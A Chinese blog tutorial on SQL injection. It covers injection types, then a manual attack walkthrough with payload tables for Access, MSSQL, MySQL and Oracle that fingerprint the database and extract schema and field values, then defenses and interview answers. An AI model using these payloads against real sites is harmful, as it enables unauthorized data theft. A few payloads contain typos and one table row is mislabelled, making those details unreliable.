SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

总结一句话:SQL注入实质就是闭合前一句查询语句,构造恶意语句,恶意语句被代入SQL语句执行。


目录

sql注入分类

手工注入的攻击步骤

防御


sql注入分类

按数据类型分类

数字型

后台语句可能为:

$id=$_POST['id']

select user,password from users where id=$id

字符型

后台语句可能为:

$id=$_POST['id']

select user,password from users where id='$id'

区别和联系

数字类型直接将后台接收到用户输入的内容带入到数据库中执行;而字符型将接收到的内容添加到引号内然后进行执行。

字符型注入需要考虑语句的闭合问题,而数字类型则不存在

按注入位置分

GET方式注入

注入参数以GET方式进行提交

POST方式注入


注入参数以POST方式进行提交

基于cookie的注入


后台接收cookie内的参数,在http的cookie字段中存在注入漏洞

基于http头部的注入


后台会接收referer或user-agent字段中的参数,http头部中的referer、user-agent字段中存在注入漏洞

盲注

基于UNION的注入

首先通过order by 进行判断查询参数的数目,然后构造union查询,查看回显。有时需要将前面参数名修改为假的参数。如id=-1’ union select 1,2,3 查找页面中1,2,3的位置,在页面中显示的数字的地方构造查询的内容。若页面无回显但报错可以尝试报错注入

基于布尔的盲注

特点:网站页面在输入条件为true和false的情况下会显示不同,但页面中没有输出。此时需要在SQL语句之后添加条件判断。

猜解思路:

猜解数据库:先构造条件判断当前数据库的名字长度,然后逐字猜解数据库名。

猜解数据表:先构造条件判断数据表的数量,然后逐个进行猜解,先猜解表名长度然后逐字猜解表名。

猜解数据列:指定数据库中的指定表进行猜解字段,首先猜解字段的数目,然后逐个猜解字段

猜解内容:指定数据列,先查询数据的条数,然后逐条猜解其中的内容

基于报错的注入

常用函数:

updatexml(1,concat('~',SQL语句,'~'),1)

extractvalue(1,concat('~',(SQL语句)))

基于时间的盲注

特点:网站页面在输入条件为真和为假返回的页面相同,但通过延时函数构造语句,可通过页面响应时间的不同判断是否存在注入

猜解思路:

类似基于布尔的盲注,只是将条件为真转换为延时响应

常用函数

if(condition,A,B):若condition返回真则执行A,假则执行B

substr(str,A,B):字符串截取函数,截取str字符串从A位置开始,截取B个字符

left(str,A):类似字符串截取函数,返回str字符串从左往右数的A个字符

count(A):计算A的数目,常用与查询数据表、数据列、数据内容的条数

len(A):计算A的长度,常用于返回数据库名、数据表名、数据列名的长度

ascii(A):返回A的ascii码,当逐字猜解限制单引号的输入时,可以通过查询ascii码来绕过

宽字节注入

宽字节注入的原理即为数据库的编码与后台程序的编码不一致,数据库中一个字符占两个字节,而后台程序为一个字符占一个字节,当后台程序对输入的单引号的字符进行转义时,通过在这些转义的字符前输入%bf然后将%bf’带入后台程序时会转义为%bf’,此时带入数据库中,数据库将%bf\看作是一个中文字符从而使用单引号将SQL语句进行闭合。

还有一些少见的注入,比如二次注入,base64加密注入等,以后再整理进去

手工注入的攻击步骤

(这里语句太多了,我还是去复制黏贴一下别人的博客吧)

1、确认目标参数

我们首先要确定要测试哪些参数。在以前参数还是比较容易确定的,比如前面说的http://example.com/app/accountView?id=1,问号后边的参数大多是动态参数。

但现在都讲restful,所以首先参数并不一定在问号后边,比如url可能变成http://example.com/app/accountView/1/这样的;其次大多参数都是post的,所以目标要从url更多转移到post数据上。

2、确认动态参数

动态参数就是带入数据库的参数,很多参数是不带入数据库的而只有带入数据库的参数才有可能导致sql注入,所以我们需要确认哪些参数是动态参数。

没具体去分析sqlmap等工具是怎么确定一个参数是不是动态参数,我们可以使用前面说的单引号法和1=1/1=2法,如果参数有过滤不能注入那我们权当他不是动态参数也一样的。

3、爆出数据库类型

因为虽然数据库都兼容sql92但不同的数据库其具有的系统库表和扩展功能都是不一样的,这导致我们后续查询库名、表名、列名具体注入语句会随数据库的不同而有差异,所以首先要确认服务端使用的是什么数据库,是oracle还是mysql还是其他。

和检测操作系统等类似,判断是什么数据库也是用“指纹”的形式,数据库的指纹就是数据库支持的注释符号、系统变量、系统函数、系统表等,所以应该可以整理出更多的检测语句。

数据库

注入语句

原理                                               用处                                
access and user>0 user是mssql内置变量,类型为nvarchar;nvarchar与int比较会报错 msqql和access报错不一样可区分数据库是mssql还是access
mssql

and (select count(*) from sysobjects) >= 0

and (select count(*) from msysobjects) >= 0

mssql存在sysobjects不存在msysobjects,上句不会报错下句会报错

access不存在sysobjects存在msysobjects,上句会报错下句不会报错

可用于确认数据库是mssql还是access
mysql

select @@version

select database()

@@version是mysql的内置变量

database()是mysql的内置函数

如果返回正常则说明是oracle
oracle

and exists(select * from dual)

and (select count(*) from user_tables)>0 --

dual和user_tables是oracle的系统表 如果返回正常则说明是oracle
multl

/*

--

;

mysql支持的注释

mssql和oracle支持的注释

oracle不支持多行

报错说明不是mysql

不报错可能是mssql或oracle

报错极有可能是oracle

4、爆出数据库名
数据库 注入语句                                                                说明                                                            
access   access一个数据库对应一个文件,获取文件名没有很大意义
mssql

and db_name() = 0

and db_name(n) > 0

从返回的报错信息中可获取当前数据库名

返回的报错信息中有第n个数据库的库名

mysql

and 1=2 union select 1,database()/*

and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit n,1

select group_concat(schema_name) from information_schema.schemata

爆出当前数据库名

n为几就返回第几个数据库的库名返回空就表示没有更多数据库了

返回所有数据库名

oracle

and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1),4,5...from dual

and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1 and owner<> '上一库名'),4,5... from dual

返回第一个库名

返回当前用户所拥有的下一库名

5、猜解数据库表名
数据库 注入语句                                                                           说明                                               
access

and exists(select * from table_name)

and (select count(*) from table_name) >= 0

不断测试table_name

如果返回正常那说明该表存在

mssql

and (select cast(count(1) as varchar(10))%2bchar(94) from [sysobjects] where xtype=char(85) and status != 0)=0 --

and (select top 1 cast(name as varchar(256)) from (select top n id,name from [sysobjects] where xtype=char(85) and status != 0 order by id)t order by id dsec)=0--

and 0<>(select top 1 name from db_name.dbs.sysobjects where xtype=0x7500 and name not in (select top n name from db_name.dbo.sysobjects where xtype=0x7500)) --

可爆出当前数据库表的数量

n为几就输出第几张表的表名

n为几就输出db_name库第几张表的表名

mysql

and union select 1,table_name from information_schma.tables where table_schema=database() limit n,1--

select group_concat(table_name) from information_schema.tables where table_schema=database()

n为几就返回当前第几张表的表名

返回当前库的所有表名

oracle

and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1),4,5... from dual

and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1 and table_name<>'上一表名'),4,5...from dual

and 1=2 union select 1,2,3,(select column_name from user_tab_columns where column_name like '%25pass%25'),4,5... from dual

返回第一个表名

返回下一个表名

返回包含pass的表名

6、猜解字段名

数据库 注入语句                                                                             说明                                             
access

and exists(select column_name from table_name)

and (select count(column_name) from table_name) >=0

table_name使用上一步得到的表名,不断试column_name

如果返回正常则说明该字段存在

mssql

having 1=1 --

group by 字段名1 having 1=1 --

group by 字段名1,字段名2 having 1=1 --

可获取表名和第一个字段名

可以得到第二个字段名

可以得到第三个字段名

mysql

and 1=2 union select 1,column_name from information_schema.columns where table_name =ascii_table_name limit n,1--

select group_concat(column_name) from information_schema.columns where table_name=ascii_table_name

ascii_table_name表示要查的表的表句的十六进制型示n为几就返回第几字段的字段名

返回指定表名的所有字段

oracle

and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name ='table_name' and rownum=1),4,5... from dual

and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name ='table_name' and column<> '上一字段名' and rownum=1),4,5... from dual

返回第一个字段名

返回下一个字段名

7、猜解字段值

获取字段内容,各数据库的方法是比较通用的,当然也有一些自己特色的获取方法我这里就不管了

方法一:逐字节猜解法

首先猜解出字段长度,然后再逐字节猜解。

and (select top 1 len(column_name) from table_name > 1

and (select top 1 len(column_name) from table_name > 2

..

and (select top 1 len(column_name) from table_name > n-1

and (select top 1 len(column_name) from table_name > n

当n-1正常n错误时说明字段长度为n(二分法快一些)

and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > 0

and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > 1

..

and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > n-1

and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > n

n-1正常n错误时说明字段值第一位ascii码值为n,再使用mid(cloumn_name,2,1)等继续猜解后续各个位直至n即可

方法二:union select法

上边的逐字节猜解法是相当费劲的,使用union select能更快捷地获取字段值。

由于union select要求两边的select返回的select字段数要一样,所以首先使用order by猜解前边select返回结果的字段数:

order by 1

order by 2

...

order by n-1

order by n

n-1正常,n报错时说明原先select字段数为n

然后使用union select查出表中内容

and 1=2 union select 1,2...,n from table_name----and 1=2是为了使原本的select结果为空,页面中出现数字x说明该处是显示的是第x字段的结果将x替换为字段名该处即会呈现该字段的内容

and 1=2 union select 1,2..,column_name..,n from table_name----上边的x替换成column_name,页面中x处即会显示column_name字段的内容

防御

代码层面

1、对用户输入的内容进行转义(PHP中addslashes()、mysql_real_escape()函数)。

2、限制关键字的输入(PHP中preg_replace()函数正则替换关键字),限制输入的长度 。

3、使用SQL语句预处理,对SQL语句首先进行预编译,然后进行参数绑定,最后传入参数。

4、所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。

5、数据长度应该严格规定。

6、网站每个数据层的编码统一。

网络层面

1、部署防火墙

2、升级 web 服务器运行平台软件补丁,建议使用 WAF 防护。

面试题:

如何进行SQL注入的防御

  1. 关闭应用的错误提示

  2. 加waf

  3. 对输入进行过滤

  4. 限制输入长度

  5. 限制好数据库权限,drop/create/truncate等权限谨慎grant

  6. 预编译好sql语句,python和Php中一般使用?作为占位符。这种方法是从编程框架方面解决利用占位符参数的sql注入,只能说一定程度上防止注入。还有缓存溢出、终止字符等。

  7. 数据库信息加密安全(引导到密码学方面)。不采用md5因为有彩虹表,一般是一次md5后加盐再md5

  8. 清晰的编程规范,结对/自动化代码 review ,加大量现成的解决方案(PreparedStatement,ActiveRecord,歧义字符过滤, 只可访问存储过程 balabala)已经让 SQL 注入的风险变得非常低了。

  9. 具体的语言如何进行防注入,采用什么安全框架

参考:

https://www.cnblogs.com/lsdb/p/9612424.html

https://blog.csdn.net/BeatRex/article/details/91901196

sql注入-原理&防御的更多相关文章

  1. Web安全之SQL注入(原理,绕过,防御)

    首先了解下Mysql表结构 mysql内置的information_schema数据库中有三个表非常重要1 schemata:表里包含所有数据库的名字2 tables:表里包含所有数据库的所有的表,默 ...

  2. 实验八 Web基础 SQL注入原理

    实验八 Web基础 实验要求 (1)Web前端HTML 能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML. (2)Web前端javascipt ...

  3. SQL注入原理与解决方法代码示例

    一.什么是sql注入? 1.什么是sql注入呢? 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网 ...

  4. SQL注入原理及代码分析(二)

    前言 上一篇文章中,对union注入.报错注入.布尔盲注等进行了分析,接下来这篇文章,会对堆叠注入.宽字节注入.cookie注入等进行分析.第一篇文章地址:SQL注入原理及代码分析(一) 如果想要了解 ...

  5. Java程序员从笨鸟到菜鸟之(一百)sql注入攻击详解(一)sql注入原理详解

    前段时间,在很多博客和微博中暴漏出了12306铁道部网站的一些漏洞,作为这么大的一个项目,要说有漏洞也不是没可能,但其漏洞确是一些菜鸟级程序员才会犯的错误.其实sql注入漏洞就是一个.作为一个菜鸟小程 ...

  6. 回头探索JDBC及PreparedStatement防SQL注入原理

    概述 JDBC在我们学习J2EE的时候已经接触到了,但是仅是照搬步骤书写,其中的PreparedStatement防sql注入原理也是一知半解,然后就想回头查资料及敲测试代码探索一下.再有就是我们在项 ...

  7. 网络对抗课题4.3.1 SQL注入原理与实践

    网络对抗课题4.3.1 SQL注入原理与实践 原理 SQL注入漏洞是指在Web应用对后台数据库查询语句处理存在的安全漏洞.也就是,在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符 ...

  8. sql注入原理详解(一)

    我们围绕以下几个方面来看这个问题: 1.什么是sql注入? 2.为什么要sql注入? 3.怎样sql注入? 1.什么是sql注入? 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或 ...

  9. 1.sql注入原理

    一.什么是sql注入呢?         所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露V ...

随机推荐

  1. 对象存储 COS 全新集成媒体处理功能

    根据<2020年中国网络视听发展研究报告>,截至2020年6月,我国网络视听用户规模达9.01亿,网民使用率95.8%.这表明视频行业已经成为新的流量洼地,而抖音.快手等视频平台的崛起也让 ...

  2. Logstash学习之路(四)使用Logstash将mysql数据导入elasticsearch(单表同步、多表同步、全量同步、增量同步)

    一.使用Logstash将mysql数据导入elasticsearch 1.在mysql中准备数据: mysql> show tables; +----------------+ | Table ...

  3. [Abp]Abp 新手入门随记

    项目结构说明 *.Application 应用服务实现 *.Application.Contracts 包含DTO及应用服务接口 *.DbMigrator 数据迁移项目 开发和生产环境迁移数据库架构和 ...

  4. 杭电OJ2039——三角形(c++)(易错题:数据类型不确定)

    三角形 Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 65536/32768 K (Java/Others) Total Submis ...

  5. Facetoprocess_program_design

    面向过程程序设计 程序:计算机用可理解可执行的命令的集合. 过程:问题解决的步骤. 方法(函数) 结构化程序设计的基础 一.方法三要素 1 功能: 实现的功能(单一).简单.易维护 2 参数: (传入 ...

  6. Socket粘包问题终极解决方案—Netty版(2W字)!

    上一篇我们讲了<Socket粘包问题的3种解决方案>,但没想到评论区竟然炸了.介于大家的热情讨论,以及不同的反馈意见,本文就来做一个扩展和延伸,试图找到问题的最优解,以及消息通讯的最优解决 ...

  7. pthread 读写锁

    pthread 读写锁 (Read Write Lock, rwlock) 把对共享资源的访问者分为读者和写者,读者仅仅对共享资源进行读访问,写者仅仅对共享资源进行写操作. 如果使用互斥量 mutex ...

  8. LeetCode278 第一个错误的版本

    你是产品经理,目前正在带领一个团队开发新的产品.不幸的是,你的产品的最新版本没有通过质量检测.由于每个版本都是基于之前的版本开发的,所以错误的版本之后的所有版本都是错的. 假设你有 n 个版本 [1, ...

  9. 剑指offer 面试题3:数组中重复的数字

    题目描述 在一个长度为n的数组里的所有数字都在0到n-1的范围内. 数组中某些数字是重复的,但不知道有几个数字是重复的.也不知道每个数字重复几次.请找出数组中任意一个重复的数字. 例如,如果输入长度为 ...

  10. ElasticJob 快速上手

    1.  ElasticJob 是什么 ElasticJob 是一个分布式调度解决方案,由两个相互独立的子项目 ElasticJob-Lite 和 ElasticJob-Cloud 组成. Elasti ...